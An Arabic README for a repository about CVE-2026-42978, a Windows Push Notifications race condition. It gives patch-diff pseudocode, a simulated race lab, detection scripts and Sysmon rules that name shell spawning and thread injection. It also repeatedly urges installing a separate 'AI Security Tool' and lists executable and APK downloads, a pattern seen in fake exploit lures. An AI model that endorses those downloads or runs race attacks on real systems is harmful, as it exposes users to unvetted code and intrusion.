
CVE-2026-42978 Windows Push Notifications (WpnService) Use-After-Free & Race Condition PoC بحث، ماسح تشخيصي، ووحدة تدقيق أمني لأداة الأمن بالذكاء الاصطناعي.
CVE-2026-42978
وحدة إشعارات Windows Push لأداة الأمن بالذكاء الاصطناعي
منظومة أمنية بالذكاء الاصطناعي من الجيل التالي، طرفية متعددة البروتوكولات ومجموعة وكلاء مستقلين
الموقع الإلكتروني · وثائق المنتج · التطبيق المضيف · دردشة المجتمع
التنقل في الموقع: الرئيسية · التحديثات · التنزيلات · الوحدات
المنتج: AI Security Tool
الموقع: zerodayevil.github.io
الوثائق: https://zerodayevil.github.io/ai-security-tool
هذه الوحدة عبارة عن تحليل مُراجَع وملف فحص آمن لأداة AI Security Tool.
استخدم فقط الوحدات المدرجة على موقع المشروع أو في الكتالوج الرسمي. حمّل هذه الوحدة داخل التطبيق المعتمد، ضد نقاط النهاية التي تملكها أو لديك تفويض كتابي لتقييمها.
هذا المستودع لا يتضمن استغلالاً مسلحاً ضد WpnService. المختبر الموجود تحت lab/ هو محاكاة مستقلة لـفئة الخلل (TOCTOU / double-fetch). وهو لا يتواصل مع خدمة الإشعارات الفعلية.
ثبّت التطبيق المضيف أولاً. ثم فعّل هذه الوحدة من Modules → Windows / Local EoP → CVE-2026-42978.
المصادر الرسمية فقط:
CVE-2026-42978 هو رفع صلاحيات محلي في إشعارات Windows Push. تصفه Microsoft بالوصول المتزامن إلى مورد مشترك دون مزامنة مناسبة (CWE-362). يُظهر البحث على wpncore.dll المُرقَّع مقابل غير المُرقَّع وجود سباق use-after-free في PresentationEndpointFacade أثناء إيقاف تشغيل النظام الأساسي.
يعمل WpnService في الجلسة 0 بصلاحية NT AUTHORITY\SYSTEM (svchost.exe -k netsvcs -p). يمر عبره تسليم الإشعارات المنبثقة والبلاطات والشارات. الفوز بالسباق ضد تلك العملية يمثل مشكلة SYSTEM على الجهاز المحلي — وليس ثغرة بعيدة قبل المصادقة على وحدة تحكم المجال.
الحالة: تم الترقيع في 10 يونيو 2026 (Patch Tuesday). هذه الصفحة بحث دفاعي.
وهي ليست CVE-2026-41089 (Netlogon RCE). مكوّن مختلف، ونموذج صلاحيات مختلف، وتاريخ ترقيع مختلف.
إصدارات العميل والخادم التي تتضمن Push Notifications. تحقق من KB الدقيق على MSRC قبل إغلاق أي تذكرة.
| العائلة | ملاحظات |
|---|---|
| Windows 10 | 1809، 21H2، 22H2 (x86 / x64 / ARM64 حسب الاقتضاء) |
| Windows 11 | 23H2، 24H2، 25H2، 26H1 |
| Windows Server | 2016 / 2019 / 2022 / 2025 (الكامل وServer Core حيث يوجد المكوّن) |
إصدارات إرشادية من ملاحظات الخدمة العامة (تحقق دائماً من MSRC مجدداً):
تُغلّف الواجهة (facade) استدعاءات واجهة برمجة الإشعارات وتفوّض إلى PresentationEndpointImpl. أثناء إيقاف تشغيل النظام الأساسي يتم تدمير كائن NotificationPlatform. تاريخياً، كانت عدة طرق في الواجهة تأخذ مؤشر النظام الأساسي دون علم إيقاف أو قفل مشترك. إذا فاز الإنهاء بالسباق، يستخدم الاستدعاء التالي مؤشراً معلّقاً.
تم تطبيق نفس نمط القفل والحماية عبر 49 طريقة من PresentationEndpointFacade::*. تُركت طرق التنفيذ تحتها كما هي — كانت الثغرة في الواجهة.
wpncore.dll 26100.8521)// PresentationEndpointFacade::ToastUnblockAll — unpatched
long ToastUnblockAll(PresentationEndpointFacade *this) {
NotificationPlatformHandle::Get(this + 0x50);
if (platform == NULL)
Throw_Hr(...);
return PresentationEndpointImpl::UnblockToastsForEachApp(...);
}
wpncore.dll 26100.8655)// PresentationEndpointFacade::ToastUnblockAll — patched
long ToastUnblockAll(PresentationEndpointFacade *this) {
if (Feature_4097557817::IsEnabled()) {
AcquireSRWLockShared(&Wns::s_platformLock);
if (Wns::s_platformShutdown)
Throw_Hr(E_APPLICATION_EXITING);
NotificationPlatformHandle::Get(this + 0x50);
ReleaseSRWLockShared(&Wns::s_platformLock);
}
}
ما يضيفه الترقيع:
AcquireSRWLockShared — قفل قارئ-كاتب؛ الإيقاف يأخذ الحصري.s_platformShutdown — الخروج بـ E_APPLICATION_EXITING إذا بدأ الإنهاء.unique_storage، بحيث يُحرَّر القفل على مسارات الاستثناء.Feature_4097557817 للنشر التدريجي / التراجع.ملاحظات PE من reports/:
.text بمقدار 18,432 بايت.data بمقدار 96 بايت (Wns::s_platformLock، Wns::s_platformShutdown)WpnService يعمل بصلاحية SYSTEM. إذا فاز السباق، يمكن تحويل استدعاء vtable معلّق إلى تنفيذ كود SYSTEM محلي. تلك الخطوة — heap spray، اختطاف vtable، الحمولة — خارج النطاق هنا.
هذه الوحدة مخصصة لإلمام السبب الجذري، والتحقق من الترقيع، والكشف.
detection/) على جهاز مختبر.لا تشغّل حلقات انهيار أو سباق ضد WpnService في الإنتاج.
authorized operator
│
▼
AI Security Tool → module 42978
│
▼
authorized Windows endpoint
│
├─ patch / wpncore.dll age
└─ SIEM / Sysmon / Event Log notes
lab/ هو عرض توضيحي مستقل بلغة C لـ double-fetch / TOCTOU. يستخدم أنبوباً مسمّى وذاكرة مشتركة. وهو لا يحمّل wpncore.dll ولا يبدأ أو يوقف WpnService.
vulnerable_service.exe — يتحقق من طول، ينام، يقرأ الطول مرة أخرى.race_attacker.exe — يقلب القيمة المشتركة خلال تلك النافذة.--patched — جلب واحد إلى متغير محلي؛ يجب أن يرى نفس المهاجم صفر سباقات.يتطلب GCC (MinGW). من داخل lab/:
build.bat
الطرفية 1: vulnerable_service.exe
الطرفية 2: race_attacker.exe 5
ثم قارن مع vulnerable_service.exe --patched.
detection/etw_wpn_monitor.ps1سبعة فحوصات:
WpnService ومعرّف العمليةwpncore.dll)powershell -ExecutionPolicy Bypass .\detection\etw_wpn_monitor.ps1
detection/sysmon_wpn_race_detect.xmlsysmon64.exe -accepteula -i detection\sysmon_wpn_race_detect.xml
القناة: Microsoft-Windows-PushNotifications-Platform/Operational
wpncore.dll يطابق الصف المُرقَّع لذلك الفرعsvchost -k netsvcs لصدفة أوامرإذا أشار etw_wpn_monitor.ps1 إلى عدم الترقيع — ثبّت تحديث يونيو 2026 وأعد الفحص.
CVE-2026-42978/
├── README.md
├── LICENSE
├── lab/
│ ├── vulnerable_service.c
│ ├── race_attacker.c
│ └── build.bat
├── detection/
│ ├── etw_wpn_monitor.ps1
│ └── sysmon_wpn_race_detect.xml
└── reports/
├── PE_DIFF_REPORT.txt
└── FUNCTION_DIFF_REPORT.txt
المتطلبات: Windows 10/11 لنصوص الكشف · MinGW لمختبر المحاكاة · Sysmon اختياري.
لقطات الشاشة في هذا README تُحمَّل من روابط صور عامة. وهي غير مخزّنة في هذه الشجرة.
4 modules@ZeroDayEvil@ZeroDayEvil@ZeroDayEvil@ZeroDayVPN2 modules@ZeroDayVPN@ZeroDayEvil2 modules@ZeroDayEvil@ZeroDayVPNالأعمال المفيدة:
لا تفتح PR يضيف استغلالاً مسلحاً لـ WpnService، أو مساعد heap-spray، أو PoC استغلال ضد الخدمة الفعلية.
صدر تحت MIT License. انظر LICENSE.
للبحث الدفاعي المُصرَّح به وإدارة الأنظمة فقط.
اختبار رفع الصلاحيات المحلي دون تفويض كتابي غير قانوني.
الثغرة مُرقَّعة. حافظ على تحديث Windows. لا يتضمن هذا المستودع استغلالاً مسلحاً ضد الخدمة الفعلية.
AI Security Tool — سير عمل الطرفية والأتمتة لمتخصصي الأمن السيبراني.
وحدة دفاعية لـ zerodayevil.github.io · لا يوجد استغلال مستقل لـ WpnService · تحقق من الحقائق على MSRC
| نظام التشغيل / المنصة | الإصدار | المعمارية / الصيغة | آخر تحديث | الحالة | التنزيل |
|---|
| Windows | v6.3.20 | مثبّت x64 (.exe) | 2026-09-08 | الأحدث | تنزيل .exe |
| Windows | v6.3.20 | محمول x64 (.tar.gz) | 2026-09-08 | الأحدث | تنزيل .tar.gz |
| macOS | v5.3.29 | Apple Silicon (.dmg) | 2026-09-05 | مستقر | تنزيل .dmg |
| Linux | v5.3.27 | Universal x64 (.tar.gz) | 2026-09-01 | مستقر | تنزيل .tar.gz |
| Android | v5.3.27 | ARM64 APK (.apk) | 2026-09-01 | مستقر | تنزيل .apk |
| الحقل | القيمة |
|---|
| CVE | CVE-2026-42978 |
| BDU | BDU:2026-08249 |
| إشعار المورّد | MSRC — Windows Push Notifications EoP |
| الخطورة | عالية · CVSS 3.1 7.8 |
| نقطة الضعف | CWE-362 حالة سباق · use-after-free على مسار الإيقاف |
| المكوّن | Windows Push Notifications · WpnService · wpncore.dll |
| ناقل الهجوم | محلي |
| الصلاحيات المطلوبة | منخفضة (مستخدم محلي مُصرَّح له) |
| تفاعل المستخدم | لا يوجد |
| Patch Tuesday | 10 يونيو 2026 |
| نوع الوحدة | تحليل بحثي + فحص آمن داخل التطبيق + حزمة كشف |
| الفرع | البناء المُرقَّع الإرشادي |
|---|
| Windows 11 23H2 | 22631.7219 |
| Windows 11 24H2 | 26100.8655 |
| Windows 11 25H2 | 26200.8655 |
| Windows 11 26H1 | 28000.2269 |
مثال wpncore.dll (24H2) | قابل للاستغلال 26100.8521 → مُرقَّع 26100.8655 |
| الفئة | أمثلة الدوال |
|---|
| Toast | ToastUnblockAll، ToastCreateSession، ToastCloseSession، ToastRequestAllNotifications، ToastSuppress |
| Tile | TileCreateSession، TileCloseSession، TileRequestResourceForeground |
| Registration | RegisterApplication، UnregisterApplication، RegisterHandler، UpdateRegistration |
| Settings | ChangeAppSetting، QueryAppSetting، QueryGlobalSetting |
| Delivery | Deliver، GetPayloadForNotificationId، Submit، PostScheduledNotification |
| Queries | GetRegisteredHandler، GetSettingsFromHandler، GetAssetsFromHandler |
| القاعدة | الغرض منها |
|---|
WPN_EoP_ChildProcess | svchost (netsvcs) يُنشئ cmd / powershell / wscript |
WPN_PipeAccess | اتصالات بالأنابيب المسمّاة المرتبطة بـ WPN |
WPN_FileCreation | إنشاء ملفات تحت أدلة بيانات الإشعارات |
WPN_RegistryTampering | كتابات تحت مفاتيح PushNotifications |
WPN_ProcessAccess | PROCESS_ALL_ACCESS إلى svchost |
WPN_ThreadInjection | CreateRemoteThread داخل svchost |
| CVE | الفئة |
|---|
| CVE-2026-42977 | EoP · سباق |
| CVE-2026-42978 | EoP · سباق (هذه الوحدة) |
| CVE-2026-42979 | EoP · سباق |
| CVE-2026-42991 | EoP · سباق |
| CVE-2026-42969 | كشف معلومات · سباق |
| CVE-2026-42970 | كشف معلومات · سباق |
| CVE-2026-42973 | كشف معلومات · سباق |
| CVE-2026-26167 | EoP |
| CVE-2026-32160 | EoP |